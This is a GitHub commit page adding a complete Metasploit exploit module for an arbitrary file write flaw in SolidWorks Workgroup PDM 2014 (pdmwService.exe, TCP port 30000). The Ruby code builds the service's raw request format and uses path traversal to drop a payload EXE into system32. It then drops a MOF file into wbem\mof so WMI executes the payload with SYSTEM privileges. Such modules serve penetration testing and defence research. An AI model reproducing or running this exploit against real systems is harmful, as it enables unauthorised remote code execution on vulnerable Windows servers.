Skip to content

Commit a29c6cd

Browse files
committed
Add SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write
1 parent d0780cd commit a29c6cd

File tree

1 file changed

+142
-0
lines changed

1 file changed

+142
-0
lines changed
Lines changed: 142 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,142 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = GoodRanking
10+
11+
include Msf::Exploit::Remote::Tcp
12+
include Msf::Exploit::EXE
13+
include Msf::Exploit::WbemExec
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info = {})
17+
super(update_info(
18+
info,
19+
'Name' => 'SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write',
20+
'Description' => %q{
21+
This module exploits an arbitrary file write vulnerability in SolidWorks
22+
Workgroup PDM 2014 SP2 and prior.
23+
24+
Code execution can be achieved by first uploading the payload to the remote
25+
machine as an exe file, and then upload another mof file, which enables
26+
WMI (Management Instrumentation service) to execute the uploaded payload.
27+
Please note that this module currently only works for Windows before Vista.
28+
29+
This module has been tested successfully on SolidWorks Workgroup PDM
30+
2011 SP0.
31+
},
32+
'License' => MSF_LICENSE,
33+
'Author' =>
34+
[
35+
'Mohamed Shetta <mshetta[at]live.com>', # Initial discovery and PoC
36+
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
37+
],
38+
'References' =>
39+
[
40+
['EDB', '31831']
41+
],
42+
'Payload' =>
43+
{
44+
'BadChars' => "\x00"
45+
},
46+
'Platform' => 'win',
47+
'Targets' =>
48+
[
49+
# Tested on SolidWorks Workgroup PDM 2011 SP0 - Windows XP SP3 (EN)
50+
['SolidWorks Workgroup PDM <= 2014 SP2 on Windows (Before Vista)', {}]
51+
],
52+
'Privileged' => true,
53+
'DisclosureDate' => 'Feb 22 2014',
54+
'DefaultTarget' => 0))
55+
56+
register_options([
57+
OptString.new('WINDIR', [true, 'The Windows directory', 'WINDOWS']),
58+
OptInt.new('DEPTH', [true, 'Traversal depth', 10]),
59+
Opt::RPORT(30000)
60+
], self.class)
61+
end
62+
63+
def peer
64+
"#{rhost}:#{rport}"
65+
end
66+
67+
#
68+
# Check
69+
#
70+
def check
71+
# op code
72+
req = "\xD0\x07\x00\x00"
73+
# filename length
74+
req << "\x00\x00\x00\x00"
75+
# data length
76+
req << "\x00\x00\x00\x00"
77+
connect
78+
sock.put req
79+
res = sock.get_once
80+
disconnect
81+
if !res
82+
vprint_error "#{peer} - Connection failed."
83+
Exploit::CheckCode::Unknown
84+
elsif res == "\x00\x00\x00\x00"
85+
vprint_status "#{peer} - Received reply (#{res.length} bytes)"
86+
Exploit::CheckCode::Detected
87+
else
88+
vprint_error "#{peer} - Unexpected reply (#{res.length} bytes)"
89+
Exploit::CheckCode::Safe
90+
end
91+
end
92+
93+
#
94+
# Send a file
95+
#
96+
def upload(fname, data)
97+
# every character in the filename must be followed by 0x00
98+
fname = fname.scan(/./).join("\x00") + "\x00"
99+
# op code
100+
req = "\xD0\x07\x00\x00"
101+
# filename length
102+
req << "#{[fname.length].pack('l')}"
103+
# file name
104+
req << "#{fname}"
105+
# data length
106+
req << "#{[data.length].pack('l')}"
107+
# data
108+
req << "#{data}"
109+
connect
110+
sock.put req
111+
res = sock.get_once
112+
disconnect
113+
if !res
114+
fail_with(Failure::Unknown, "#{peer} - Connection failed.")
115+
elsif res == "\x00\x00\x00\x00"
116+
print_status "#{peer} - Received reply (#{res.length} bytes)"
117+
else
118+
print_warning "#{peer} - Unexpected reply (#{res.length} bytes)"
119+
end
120+
end
121+
122+
#
123+
# Exploit
124+
#
125+
def exploit
126+
windir = datastore['WINDIR']
127+
depth = '..\\' * datastore['DEPTH']
128+
# send exe
129+
exe_name = "#{rand_text_alpha(rand(10) + 5)}.exe"
130+
exe = generate_payload_exe
131+
print_status("#{peer} - Sending EXE (#{exe.length} bytes)")
132+
upload("#{depth}#{windir}\\system32\\#{exe_name}", exe)
133+
# send mof
134+
mof_name = "#{rand_text_alpha(rand(10) + 5)}.mof"
135+
mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
136+
print_status("#{peer} - Sending MOF (#{mof.length} bytes)")
137+
upload("#{depth}#{windir}\\system32\\wbem\\mof\\#{mof_name}", mof)
138+
# clean up
139+
register_file_for_cleanup("#{::File.basename(exe_name)}")
140+
register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
141+
end
142+
end

0 commit comments

Comments
 (0)